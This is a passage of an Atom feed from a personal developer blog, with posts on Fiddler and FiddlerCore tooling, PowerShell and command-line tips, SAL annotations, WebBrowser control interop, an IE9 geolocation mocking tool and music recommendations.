    &lt;/li&gt;&lt;/ul&gt;&lt;div class=&quot;blogger-post-footer&quot;&gt;&lt;img width=&quot;1&quot; height=&quot;1&quot; src=&quot;https://blogger.googleusercontent.com/tracker/1670048653123050463-8415347365327737430?l=davescoolblog.blogspot.com&quot; alt=&quot;&quot;&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;
</content>
	</entry>
	
	<entry>
		<title>WPAD Server Fiddler Extension Update v1.0.1</title>
		<link href="https://deletethis.net/dave/2011-06/WPAD+Server+Fiddler+Extension+Update+v1.0.1/"/>
		<updated>2011-06-12T00:00:00Z</updated>
		<id>https://deletethis.net/dave/2011-06/WPAD+Server+Fiddler+Extension+Update+v1.0.1/</id>
		<content type="html">&lt;div xmlns=&quot;http://www.w3.org/1999/xhtml&quot;&gt;&lt;div&gt;
  As it turns out the &lt;a href=&quot;http://deletethis.net/dave/wpadserverfiddlerextension/&quot;&gt;WPAD Server Fiddler Extension&lt;/a&gt; I made &lt;a href=&quot;http://deletethis.net/dave/?uri=http%3A%2F%2Fcerealnumber.livejournal.com%2F51588.html&quot;&gt;a while back&lt;/a&gt; actually has a non-malicious purpose. Apparently its useful for debugging HTTP on the WP7
  phone (or so I&#39;m told). Anyway I took some requests and I&#39;ve fixed a few minor bugs (start button not updating correctly), changed the dialog to be a Fiddler tab so you can use it non-modally, and
  the WPAD server is now always off when Fiddler starts.
  &lt;div class=&quot;blogger-post-footer&quot;&gt;&lt;img width=&quot;1&quot; height=&quot;1&quot; src=&quot;https://blogger.googleusercontent.com/tracker/1670048653123050463-5014136890216967288?l=davescoolblog.blogspot.com&quot; alt=&quot;&quot;&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;
</content>
	</entry>
	
	<entry>
		<title>Command line for finding missing URLACTIONs</title>
		<link href="https://deletethis.net/dave/2011-05/Command+line+for+finding+missing+URLACTIONs/"/>
		<updated>2011-05-28T00:00:00Z</updated>
		<id>https://deletethis.net/dave/2011-05/Command+line+for+finding+missing+URLACTIONs/</id>
		<content type="html">&lt;div xmlns=&quot;http://www.w3.org/1999/xhtml&quot;&gt;&lt;div&gt;&lt;p&gt;
    I wanted to ensure that my switch statement in my implementation of IInternetSecurityManager::ProcessURLAction had a case for every possible documented URLACTION. I wrote the following short
    command line sequence to see the list of all URLACTIONs in the SDK header file not found in my source file:
  &lt;/p&gt;&lt;pre&gt;&lt;code&gt;grep URLACTION urlmon.idl | sed &#39;s/.*&#92;(URLACTION[a-zA-Z0-9_]*&#92;).*/&#92;1/g;&#39; | sort | uniq &amp;gt; allURLACTIONs.txt&lt;br&gt;grep URLACTION MySecurityManager.cpp | sed &#39;s/.*&#92;(URLACTION[a-zA-Z0-9_]*&#92;).*/&#92;1/g;&#39; | sort | uniq &amp;gt; myURLACTIONs.txt&lt;br&gt;comm -23 allURLACTIONs.txt myURLACTIONs.txt&lt;/code&gt;&lt;/pre&gt;I&#39;m
  not a sed expert so I had to read the &lt;a href=&quot;http://www.gnu.org/software/sed/manual/sed.html&quot;&gt;sed documentation&lt;/a&gt;, and I heard about &lt;a href=&quot;http://askawizard.blogspot.com/2008/01/some-handy-commands.html&quot;&gt;comm from Kris Kowal&#39;s blog&lt;/a&gt; which happilly was in the &lt;a href=&quot;http://unxutils.sourceforge.net/&quot;&gt;Win32 GNU tools pack&lt;/a&gt; I
  already run.
  &lt;p&gt;
    But in my effort to learn and use PowerShell I found the following similar command line:
  &lt;/p&gt;&lt;pre&gt;&lt;code&gt;diff &lt;br&gt;(more urlmon.idl | %{ if ($_ -cmatch &quot;URLACTION[a-zA-Z0-9_]*&quot;) { $matches[0] } } | sort -uniq) &lt;br&gt;(more MySecurityManager.cpp | %{ if ($_ -cmatch &quot;URLACTION[a-zA-Z0-9_]*&quot;) { $matches[0] } } | sort -uniq)&lt;/code&gt;&lt;/pre&gt;In
  the PowerShell version I can skip the temporary files which is nice. &#39;diff&#39; is mapped to &#39;compare-object&#39; which seems similar to comm but with no parameters to filter out the different streams
  (although this could be done more verbosely with the ?{ } filter syntax). In PowerShell uniq functionality is built into sort. The builtin -cmatch operator (c is for case sensitive) to do regexp is
  nice plus the side effect of generating the $matches variable with the regexp results.
  &lt;div class=&quot;blogger-post-footer&quot;&gt;&lt;img width=&quot;1&quot; height=&quot;1&quot; src=&quot;https://blogger.googleusercontent.com/tracker/1670048653123050463-4657842629995936098?l=davescoolblog.blogspot.com&quot; alt=&quot;&quot;&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;
</content>
	</entry>
	
	<entry>
		<title>clip.exe - Useful tool I didn&#39;t know shipped with Windows</title>
		<link href="https://deletethis.net/dave/2011-05/clip.exe+-+Useful+tool+I+didn-t+know+shipped+with+Windows/"/>
		<updated>2011-05-26T00:00:00Z</updated>
		<id>https://deletethis.net/dave/2011-05/clip.exe+-+Useful+tool+I+didn-t+know+shipped+with+Windows/</id>
		<content type="html">&lt;div xmlns=&quot;http://www.w3.org/1999/xhtml&quot;&gt;&lt;div&gt;&lt;p&gt;
    When you run clip.exe, whatever comes into its standard input is put onto the clipboard. So when you need to move the result of something in your command window somewhere else you can pipe the
    result into clip.exe. Then you won&#39;t have to worry about the irritating way cmd.exe does block copy/pasting and you avoid having to manually fixup line breaks in wrapped lines. For instance, you
    can put the contents of a script into the clipboard with:
  &lt;/p&gt;&lt;pre&gt;&lt;code&gt;more cdo.cmd | clip&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;
    I&#39;ve got a lot of stuff dumped in my bin folder that I sync across all my PCs so I didn&#39;t realize that clip.exe is a part of standard Windows installs.
  &lt;/p&gt;&lt;p&gt;
    Nice for avoiding the block copy in cmd.exe but I&#39;d prefer to have the contents sort of tee&#39;d into the clipboard and standard output. So TeeClip.ps1:
  &lt;/p&gt;&lt;pre&gt;&lt;code&gt;$input | tee -var teeclipout | clip;&lt;br&gt;$teeclipout;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;blogger-post-footer&quot;&gt;&lt;img width=&quot;1&quot; height=&quot;1&quot; src=&quot;https://blogger.googleusercontent.com/tracker/1670048653123050463-429703209805729186?l=davescoolblog.blogspot.com&quot; alt=&quot;&quot;&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;
</content>
	</entry>
	
	<entry>
		<title>_opt Mnemonic</title>
		<link href="https://deletethis.net/dave/2011-05/_opt+Mnemonic/"/>
		<updated>2011-05-24T00:00:00Z</updated>
		<id>https://deletethis.net/dave/2011-05/_opt+Mnemonic/</id>
		<content type="html">&lt;div xmlns=&quot;http://www.w3.org/1999/xhtml&quot;&gt;&lt;div&gt;&lt;p&gt;
    ​I always have trouble remembering where the opt goes in &lt;a href=&quot;http://msdn.microsoft.com/en-us/library/aa383701(VS.85).aspx&quot;&gt;SAL&lt;/a&gt; in the __deref_out case. The mnemonic is pretty simple: the
    _opt at the start of the SAL is for the pointer value at the start of the function. And the _opt at the end of the SAL is for the dereferenced pointer value at the end of the function.
  &lt;/p&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;table&gt;&lt;tr&gt;&lt;th&gt;
        SAL
      &lt;/th&gt;&lt;th&gt;
        foo == nullptr allowed at function start?
      &lt;/th&gt;&lt;th&gt;
        *foo == nullptr allowed at function end?
      &lt;/th&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;
        __deref_out void **foo
      &lt;/td&gt;&lt;td&gt;
        No
      &lt;/td&gt;&lt;td&gt;
        No
      &lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;
        __deref&lt;b&gt;_opt&lt;/b&gt;_out void **foo
      &lt;/td&gt;&lt;td&gt;
        Yes
      &lt;/td&gt;&lt;td&gt;
        No
      &lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;
        __deref_out&lt;b&gt;_opt&lt;/b&gt; void **foo
      &lt;/td&gt;&lt;td&gt;
        No
      &lt;/td&gt;&lt;td&gt;
        Yes
      &lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;
        __deref&lt;b&gt;_opt&lt;/b&gt;_out&lt;b&gt;_opt&lt;/b&gt; void **foo
      &lt;/td&gt;&lt;td&gt;
        Yes
      &lt;/td&gt;&lt;td&gt;
        Yes
      &lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;.
  &lt;div class=&quot;blogger-post-footer&quot;&gt;&lt;img width=&quot;1&quot; height=&quot;1&quot; src=&quot;https://blogger.googleusercontent.com/tracker/1670048653123050463-8290674282470951917?l=davescoolblog.blogspot.com&quot; alt=&quot;&quot;&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;
</content>
	</entry>
	
	<entry>
		<title>PowerShell Script Batch File Wrapper</title>
		<link href="https://deletethis.net/dave/2011-05/PowerShell+Script+Batch+File+Wrapper/"/>
		<updated>2011-05-22T00:00:00Z</updated>
		<id>https://deletethis.net/dave/2011-05/PowerShell+Script+Batch+File+Wrapper/</id>
		<content type="html">&lt;div xmlns=&quot;http://www.w3.org/1999/xhtml&quot;&gt;&lt;div&gt;&lt;p&gt;
    I&#39;m trying to learn and use PowerShell more, but plenty of other folks I know don&#39;t use PowerShell. To allow them to use my scripts I use the following cmd.exe batch file to make it easy to call
    PowerShell scripts. To use, just name the batch file name the same as the corresponding PowerShell script filename and put it in the same directory.&lt;br&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;@echo off&lt;br&gt;if &quot;%1&quot;==&quot;/?&quot; goto help&lt;br&gt;if &quot;%1&quot;==&quot;/h&quot; goto help&lt;br&gt;if &quot;%1&quot;==&quot;-?&quot; goto help&lt;br&gt;if &quot;%1&quot;==&quot;-h&quot; goto help&lt;br&gt;&lt;br&gt;%systemroot%&#92;system32&#92;windowspowershell&#92;v1.0&#92;powershell.exe -ExecutionPolicy RemoteSigned -Command . %~dpn0.ps1 %*&lt;br&gt;goto end&lt;br&gt;&lt;br&gt;:help&lt;br&gt;%systemroot%&#92;system32&#92;windowspowershell&#92;v1.0&#92;powershell.exe -ExecutionPolicy RemoteSigned -Command help %~dpn0.ps1 -full&lt;br&gt;goto end&lt;br&gt;&lt;br&gt;:end&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;
    Additionally for PowerShell scripts that modify the current working directory I use the following batch file:
  &lt;/p&gt;&lt;pre&gt;&lt;code&gt;@echo off&lt;br&gt;if &quot;%1&quot;==&quot;/?&quot; goto help&lt;br&gt;if &quot;%1&quot;==&quot;/h&quot; goto help&lt;br&gt;if &quot;%1&quot;==&quot;-?&quot; goto help&lt;br&gt;if &quot;%1&quot;==&quot;-h&quot; goto help&lt;br&gt;&lt;br&gt;%systemroot%&#92;system32&#92;windowspowershell&#92;v1.0&#92;powershell.exe -ExecutionPolicy RemoteSigned -Command . %~dpn0.ps1 %*;(pwd).Path 1&amp;gt; %temp%&#92;%~n0.tmp 2&amp;gt; nul&lt;br&gt;set /p newdir=&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
</content>
	</entry>
	
	<entry>
		<title>Capturing HTTPS with FiddlerCore</title>
		<link href="https://deletethis.net/dave/2011-04/Capturing+HTTPS+with+FiddlerCore/"/>
		<updated>2011-04-06T00:00:00Z</updated>
		<id>https://deletethis.net/dave/2011-04/Capturing+HTTPS+with+FiddlerCore/</id>
		<content type="html">&lt;div xmlns=&quot;http://www.w3.org/1999/xhtml&quot;&gt;&lt;div&gt;&lt;p&gt;
    I used &lt;a href=&quot;http://fiddler.wikidot.com/fiddlercore&quot;&gt;FiddlerCore&lt;/a&gt; in &lt;a href=&quot;http://deletethis.net/dave/dev/geolocmock/&quot;&gt;GeolocMock&lt;/a&gt; to edit HTTPS responses and ran into two stumbling
    blocks that I&#39;ll document here. The first is that I didn&#39;t check if the Fiddler root cert existed or was installed, which of course is necessary to edit HTTPS traffic. The following is my code
    where I check for the certs.
  &lt;/p&gt;&lt;pre&gt;&lt;code&gt;    if (!Fiddler.CertMaker.rootCertExists())&lt;br&gt;    {&lt;br&gt;        if (!Fiddler.CertMaker.createRootCert())&lt;br&gt;        {&lt;br&gt;            throw new Exception(&quot;Unable to create cert for FiddlerCore.&quot;);&lt;br&gt;        }&lt;br&gt;    }&lt;br&gt;&lt;br&gt;    if (!Fiddler.CertMaker.rootCertIsTrusted())&lt;br&gt;    {&lt;br&gt;        if (!Fiddler.CertMaker.trustRootCert())&lt;br&gt;        {&lt;br&gt;            throw new Exception(&quot;Unable to install FiddlerCore&#39;s cert.&quot;);&lt;br&gt;        }&lt;br&gt;    }&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;
    The second problem I had (which would have been solved had I read all the sample code first) was that my changes weren&#39;t being applied. In my app I only need the BeforeResponse but in order to
    modify the response I must also sign up for the BeforeRequest event and mark the bBufferResponse flag on the session before the response comes back. For example:
  &lt;/p&gt;&lt;pre&gt;&lt;code&gt;    Fiddler.FiddlerApplication.BeforeRequest += new SessionStateHandler(FiddlerApplication_BeforeRequest);&lt;br&gt;    Fiddler.FiddlerApplication.BeforeResponse += new SessionStateHandler(FiddlerApplication_BeforeResponse);&lt;br&gt;...&lt;br&gt;    private void FiddlerApplication_BeforeRequest(Session oSession)&lt;br&gt;    {&lt;br&gt;        if (IsInterestingSession(oSession))&lt;br&gt;        {&lt;br&gt;            oSession.bBufferResponse = true;&lt;br&gt;        }&lt;br&gt;    }&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;blogger-post-footer&quot;&gt;&lt;img width=&quot;1&quot; height=&quot;1&quot; src=&quot;https://blogger.googleusercontent.com/tracker/1670048653123050463-375553475007025353?l=davescoolblog.blogspot.com&quot; alt=&quot;&quot;&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;
</content>
	</entry>
	
	<entry>
		<title>JavaScript &amp; .NET interop via WebBrowser Control</title>
		<link href="https://deletethis.net/dave/2011-04/JavaScript+-+.NET+interop+via+WebBrowser+Control/"/>
		<updated>2011-04-05T00:00:00Z</updated>
		<id>https://deletethis.net/dave/2011-04/JavaScript+-+.NET+interop+via+WebBrowser+Control/</id>
		<content type="html">&lt;div xmlns=&quot;http://www.w3.org/1999/xhtml&quot;&gt;&lt;div&gt;&lt;p&gt;
    For my &lt;a href=&quot;http://deletethis.net/dave/dev/geolocmock/&quot;&gt;GeolocMock&lt;/a&gt; weekend project I intended to use the Bing Maps API to display a map in a WebBrowser control and allow the user to
    interact with that to select a location to be consumed by my application. Getting my .NET code to talk to the JavaScript in the WebBrowser control was surprisingly easy.
  &lt;/p&gt;&lt;p&gt;
    To have .NET execute JavaScript code you can use the InvokeScript method passing the name of the JavaScript function to execute and an object array of parameters to pass:
  &lt;/p&gt;&lt;pre&gt;&lt;code&gt;this.webBrowser2.Document.InvokeScript(&quot;onLocationStateChanged&quot;,&lt;br&gt;   new object[] {&lt;br&gt;      latitudeTextBoxText,&lt;br&gt;      longitudeTextBoxText,&lt;br&gt;      altitudeTextBoxText,&lt;br&gt;      uncertaintyTextBoxText&lt;br&gt;   });&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;
    The other direction, having JavaScript call into .NET is slightly more complicated but still pretty easy as far as language interop goes. The first step is to mark your assembly as ComVisible so
    that it can interact with JavaScript via COM. VS had already added a ComVisible declaration to my project I just had to change the value to true.
  &lt;/p&gt;&lt;pre&gt;&lt;code&gt;[assembly: ComVisible(true)]&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;
    Next set ObjectForScripting attribute to the object you want to expose to JavaScript.
  &lt;/p&gt;&lt;pre&gt;&lt;code&gt;this.webBrowser2.ObjectForScripting = this.locationState;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;
    Now that object is exposed as window.external in JavaScript and you can call methods on it.
  &lt;/p&gt;&lt;pre&gt;&lt;code&gt;window.external.Set(lat, long, alt, gUncert);&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;
    However you don&#39;t seem to be able to test for the existence of methods off of it. For example the following JavaScript generates an exception for me even though I have a Set method:
  &lt;/p&gt;&lt;pre&gt;&lt;code&gt;if (window.external &amp;amp;&amp;amp; window.external.Set) {&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;blogger-post-footer&quot;&gt;&lt;img width=&quot;1&quot; height=&quot;1&quot; src=&quot;https://blogger.googleusercontent.com/tracker/1670048653123050463-1115399204951118616?l=davescoolblog.blogspot.com&quot; alt=&quot;&quot;&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;
</content>
	</entry>
	
	<entry>
		<title>IE9 Document Mode in WebOC</title>
		<link href="https://deletethis.net/dave/2011-04/IE9+Document+Mode+in+WebOC/"/>
		<updated>2011-04-04T00:00:00Z</updated>
		<id>https://deletethis.net/dave/2011-04/IE9+Document+Mode+in+WebOC/</id>
		<content type="html">&lt;div xmlns=&quot;http://www.w3.org/1999/xhtml&quot;&gt;&lt;div&gt;&lt;p&gt;
    Working on &lt;a href=&quot;http://deletethis.net/dave/dev/geolocmock/&quot;&gt;GeolocMock&lt;/a&gt; it took me a bit to realize why my HTML could use the W3C Geolocation API in IE9 but not in my WebBrowser control in
    my .NET application. Eventually I realized that I was getting the wrong IE doc mode. Reading this old &lt;a href=&quot;http://blogs.msdn.com/b/ie/archive/2009/03/10/more-ie8-extensibility-improvements.aspx&quot;&gt;More IE8 Extensibility Improvements IE&lt;/a&gt; blog post from the IE blog I found the issue is that for app
    compat the WebOC picks older doc modes but an app hosting the WebOC can set a regkey to get different doc modes. The IE9 mode isn&#39;t listed in that article but I took a guess based on the values
    there and the decimal value 9999 gets my app IE9 mode. The following is the code I run in my application to set its regkey so that my app can get the IE9 doc mode and use the geolocation API.
  &lt;/p&gt;&lt;br&gt;&lt;br&gt;&lt;pre&gt;&lt;code&gt;        static private void UseIE9DocMode()&lt;br&gt;        {&lt;br&gt;            RegistryKey key = null;&lt;br&gt;            try&lt;br&gt;            {&lt;br&gt;                key = Registry.CurrentUser.OpenSubKey(&quot;Software&#92;&#92;Microsoft&#92;&#92;Internet Explorer&#92;&#92;Main&#92;&#92;FeatureControl&#92;&#92;FEATURE_BROWSER_EMULATION&quot;, true);&lt;br&gt;            }&lt;br&gt;            catch (Exception)&lt;br&gt;            {&lt;br&gt;                key = Registry.CurrentUser.CreateSubKey(&quot;Software&#92;&#92;Microsoft&#92;&#92;Internet Explorer&#92;&#92;Main&#92;&#92;FeatureControl&#92;&#92;FEATURE_BROWSER_EMULATION&quot;);&lt;br&gt;            }&lt;br&gt;            key.SetValue(System.Diagnostics.Process.GetCurrentProcess().MainModule.ModuleName, 9999, RegistryValueKind.DWord);&lt;br&gt;            key.Close();&lt;br&gt;        }&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;blogger-post-footer&quot;&gt;&lt;img width=&quot;1&quot; height=&quot;1&quot; src=&quot;https://blogger.googleusercontent.com/tracker/1670048653123050463-7320694778093736225?l=davescoolblog.blogspot.com&quot; alt=&quot;&quot;&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;
</content>
	</entry>
	
	<entry>
		<title>GeolocMock Tool - Tell IE9 Where You Are</title>
		<link href="https://deletethis.net/dave/2011-04/GeolocMock+Tool+-+Tell+IE9+Where+You+Are/"/>
		<updated>2011-04-03T00:00:00Z</updated>
		<id>https://deletethis.net/dave/2011-04/GeolocMock+Tool+-+Tell+IE9+Where+You+Are/</id>
		<content type="html">&lt;div xmlns=&quot;http://www.w3.org/1999/xhtml&quot;&gt;&lt;div&gt;&lt;p&gt;
    I&#39;ve made &lt;a href=&quot;http://deletethis.net/dave/dev/geolocmock/&quot;&gt;GeolocMock&lt;/a&gt;. If your PC has no geolocation devices, IE9 uses a webservice to determine your location. GeolocMock uses FiddlerCore
    to intercept the response from the webservice and allows the user to replace the location in the response with another. This was a fun weekend project in order to play with &lt;a href=&quot;http://fiddler.wikidot.com/fiddlercore&quot;&gt;FiddlerCore&lt;/a&gt;, the &lt;a href=&quot;http://blogs.msdn.com/b/ie/archive/2011/02/17/w3c-geolocation-api-in-ie9.aspx&quot;&gt;W3C Geoloc APIs in IE9&lt;/a&gt;, hosting the IE9
    WebOC in a .NET app, and the &lt;a href=&quot;http://msdn.microsoft.com/en-us/library/gg427611.aspx&quot;&gt;Bing Maps APIs&lt;/a&gt;.
  &lt;/p&gt;&lt;a href=&quot;http://deletethis.net/dave/dev/geolocmock/&quot;&gt;&lt;img src=&quot;http://deletethis.net/dave/dev/geolocmock/screenshot.png&quot; width=&quot;216&quot; height=&quot;228&quot;&gt;&lt;/a&gt;&lt;div class=&quot;blogger-post-footer&quot;&gt;&lt;img width=&quot;1&quot; height=&quot;1&quot; src=&quot;https://blogger.googleusercontent.com/tracker/1670048653123050463-4723417518145223507?l=davescoolblog.blogspot.com&quot; alt=&quot;&quot;&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;
</content>
	</entry>
	
	<entry>
		<title>Listen to Max Tannone and Watch Moon</title>
		<link href="https://deletethis.net/dave/2011-02/Listen+to+Max+Tannone+and+Watch+Moon/"/>
		<updated>2011-02-23T00:00:00Z</updated>
		<id>https://deletethis.net/dave/2011-02/Listen+to+Max+Tannone+and+Watch+Moon/</id>
		<content type="html">&lt;div xmlns=&quot;http://www.w3.org/1999/xhtml&quot;&gt;&lt;div&gt;&lt;a href=&quot;http://www.maxtannone.com/&quot;&gt;Max Tannone&lt;/a&gt; does awesome remix albums:&lt;br&gt;&lt;ul&gt;&lt;br&gt;&lt;li&gt;&lt;a href=&quot;http://www.maxtannone.com/projects/jaydiohead/&quot;&gt;&lt;img src=&quot;http://www.maxtannone.com/wp-content/uploads/2010/10/jaydiohead_full2-150x150.jpg&quot; width=&quot;150&quot; height=&quot;150&quot;&gt;&lt;/a&gt;Jaydiohead -
      Radiohead &amp;amp; Jay-Z mashup. Listen:&lt;br&gt;&lt;object width=&quot;100%&quot; height=&quot;81&quot;&gt;&lt;param name=&quot;movie&quot; value=&quot;http://player.soundcloud.com/player.swf?url=http%3A%2F%2Fapi.soundcloud.com%2Ftracks%2F147259&quot;&gt;&lt;param name=&quot;allowscriptaccess&quot; value=&quot;always&quot;&gt;&lt;embed height=&quot;81&quot; type=&quot;application/x-shockwave-flash&quot; width=&quot;100%&quot; src=&quot;http://player.soundcloud.com/player.swf?url=http%3A%2F%2Fapi.soundcloud.com%2Ftracks%2F147259&quot; allowscriptaccess=&quot;always&quot;&gt;&lt;/object&gt;&lt;span&gt;&lt;a href=&quot;http://soundcloud.com/maxtannone/jaydiohead-06-dirt-off-your-android&quot;&gt;Jaydiohead - 06 - Dirt Off Your Android&lt;/a&gt; by &lt;a href=&quot;http://soundcloud.com/maxtannone&quot;&gt;Max
      Tannone&lt;/a&gt;&lt;/span&gt;&lt;/li&gt;&lt;br&gt;&lt;li&gt;&lt;a href=&quot;http://www.seleneproject.com/&quot;&gt;&lt;img src=&quot;http://www.seleneproject.com/Selene_EP_front_cover_web.jpg&quot; width=&quot;150&quot; height=&quot;150&quot;&gt;&lt;/a&gt;Selene - Richard Rich &amp;amp; beats over the Moon
      soundtrack. Listen:&lt;br&gt;&lt;object width=&quot;100%&quot; height=&quot;81&quot;&gt;&lt;param name=&quot;movie&quot; value=&quot;http://player.soundcloud.com/player.swf?url=http%3A%2F%2Fapi.soundcloud.com%2Ftracks%2F10975440&quot;&gt;&lt;param name=&quot;allowscriptaccess&quot; value=&quot;always&quot;&gt;&lt;embed height=&quot;81&quot; type=&quot;application/x-shockwave-flash&quot; width=&quot;100%&quot; src=&quot;http://player.soundcloud.com/player.swf?url=http%3A%2F%2Fapi.soundcloud.com%2Ftracks%2F10975440&quot; allowscriptaccess=&quot;always&quot;&gt;&lt;/object&gt;&lt;span&gt;&lt;a href=&quot;http://soundcloud.com/maxtannone/selene-01-you-are-here&quot;&gt;Selene - 01 - You Are Here&lt;/a&gt; by &lt;a href=&quot;http://soundcloud.com/maxtannone&quot;&gt;Max Tannone&lt;/a&gt;&lt;/span&gt;&lt;/li&gt;&lt;br&gt;&lt;li&gt;&lt;a href=&quot;http://www.maxtannone.com/projects/dcyh/&quot;&gt;&lt;img src=&quot;http://www.maxtannone.com/wp-content/uploads/2010/10/dcyh_cover_full-150x150.jpg&quot; width=&quot;150&quot; height=&quot;150&quot;&gt;&lt;/a&gt;Double Check Your
      Head - Beastie Boys albums mixed together. Listen:&lt;br&gt;&lt;object width=&quot;100%&quot; height=&quot;81&quot;&gt;&lt;param name=&quot;movie&quot; value=&quot;http://player.soundcloud.com/player.swf?url=http%3A%2F%2Fapi.soundcloud.com%2Ftracks%2F557454&quot;&gt;&lt;param name=&quot;allowscriptaccess&quot; value=&quot;always&quot;&gt;&lt;embed height=&quot;81&quot; type=&quot;application/x-shockwave-flash&quot; width=&quot;100%&quot; src=&quot;http://player.soundcloud.com/player.swf?url=http%3A%2F%2Fapi.soundcloud.com%2Ftracks%2F557454&quot; allowscriptaccess=&quot;always&quot;&gt;&lt;/object&gt;&lt;span&gt;&lt;a href=&quot;http://soundcloud.com/maxtannone/beastie-boys-02-pass-the-gratitude&quot;&gt;Beastie Boys - 02 - Pass The Gratitude&lt;/a&gt; by &lt;a href=&quot;http://soundcloud.com/maxtannone&quot;&gt;Max
      Tannone&lt;/a&gt;&lt;/span&gt;&lt;br&gt;&lt;/li&gt;&lt;br&gt;&lt;/ul&gt;&lt;br&gt;&lt;a href=&quot;http://movies.netflix.com/WiMovie/Moon/70112500?trkid=2361637#height2210&quot;&gt;&lt;img src=&quot;http://cdn-0.nflximg.com/en_US/boxshots/gsd/70112500.jpg&quot;&gt;&lt;/a&gt;&lt;br&gt;
  Also, the movie &lt;a href=&quot;http://movies.netflix.com/WiMovie/Moon/70112500?trkid=2361637#height2210&quot;&gt;Moon&lt;/a&gt; is really good on a variety of points. Sam Rockwell and the voice of Kevin Spacey! Its
  available on Netflix Watch Instantly so you have no excuse!
  &lt;div class=&quot;blogger-post-footer&quot;&gt;&lt;img width=&quot;1&quot; height=&quot;1&quot; src=&quot;https://blogger.googleusercontent.com/tracker/1670048653123050463-6032198445841527452?l=davescoolblog.blogspot.com&quot; alt=&quot;&quot;&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;
</content>
	</entry>
	
	<entry>
		<title>Ratatat Rocks</title>
		<link href="https://deletethis.net/dave/2010-12/Ratatat+Rocks/"/>
		<updated>2010-12-28T00:00:00Z</updated>
		<id>https://deletethis.net/dave/2010-12/Ratatat+Rocks/</id>
		<content type="html">&lt;div xmlns=&quot;http://www.w3.org/1999/xhtml&quot;&gt;&lt;div&gt;
  I just found out that I like the group &lt;a href=&quot;http://en.wikipedia.org/wiki/Ratatat&quot;&gt;Ratatat&lt;/a&gt;. I&#39;d first heard them way back when the Zune was first released as the backing for &lt;a href=&quot;http://72andsunny.com/#/work/zune/zune_arts/film/los_corazones/&quot;&gt;Los Corazones&lt;/a&gt; on the zune-arts.net website.&lt;br&gt;&lt;br&gt;&lt;object width=&quot;480&quot; height=&quot;385&quot;&gt;&lt;param name=&quot;movie&quot; value=&quot;http://www.youtube.com/v/lWK7rDJ2RKM?fs=1&amp;amp;hl=en_US&quot;&gt;&lt;param name=&quot;allowFullScreen&quot; value=&quot;true&quot;&gt;&lt;param name=&quot;allowscriptaccess&quot; value=&quot;always&quot;&gt;&lt;embed src=&quot;http://www.youtube.com/v/lWK7rDJ2RKM?fs=1&amp;amp;hl=en_US&quot; type=&quot;application/x-shockwave-flash&quot; allowscriptaccess=&quot;always&quot; allowfullscreen=&quot;true&quot; width=&quot;480&quot; height=&quot;385&quot;&gt;&lt;/object&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;
  But I didn&#39;t know who they were until today when I watched this Filmography 2010 video (via &lt;a href=&quot;http://kottke.org/10/12/the-year-in-film-2010&quot;&gt;Kottke&lt;/a&gt;)&lt;br&gt;&lt;br&gt;&lt;object width=&quot;640&quot; height=&quot;385&quot;&gt;&lt;param name=&quot;movie&quot; value=&quot;http://www.youtube.com/v/I4dEWOB6THE?fs=1&amp;amp;hl=en_US&quot;&gt;&lt;param name=&quot;allowFullScreen&quot; value=&quot;true&quot;&gt;&lt;param name=&quot;allowscriptaccess&quot; value=&quot;always&quot;&gt;&lt;embed src=&quot;http://www.youtube.com/v/I4dEWOB6THE?fs=1&amp;amp;hl=en_US&quot; type=&quot;application/x-shockwave-flash&quot; allowscriptaccess=&quot;always&quot; allowfullscreen=&quot;true&quot; width=&quot;640&quot; height=&quot;385&quot;&gt;&lt;/object&gt;&lt;br&gt;&lt;br&gt;
  Until about 1:16 in, the music is &lt;a href=&quot;http://www.youtube.com/watch?v=kVtGCACwpW8&quot;&gt;Ratatat&#39;s Nostrand&lt;/a&gt;. On the first viewing it drove me crazy because I could only vaguely recall hearing
  something like that music before. I tracked it down via the zune-arts thing above and eventually found my way to the Nostrand video. Funny, all the recent comments on that one are from people who
  also just watched the Filmography video.
  &lt;div class=&quot;blogger-post-footer&quot;&gt;&lt;img width=&quot;1&quot; height=&quot;1&quot; src=&quot;https://blogger.googleusercontent.com/tracker/1670048653123050463-8444228991627756294?l=davescoolblog.blogspot.com&quot; alt=&quot;&quot;&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;
</content>
	</entry>
	
	<entry>
		<title>Console Build Window Jump Lists Tool</title>
		<link href="https://deletethis.net/dave/2010-12/Console+Build+Window+Jump+Lists+Tool/"/>
		<updated>2010-12-13T00:00:00Z</updated>
		<id>https://deletethis.net/dave/2010-12/Console+Build+Window+Jump+Lists+Tool/</id>
		<content type="html">&lt;div xmlns=&quot;http://www.w3.org/1999/xhtml&quot;&gt;&lt;div&gt;&lt;p&gt;
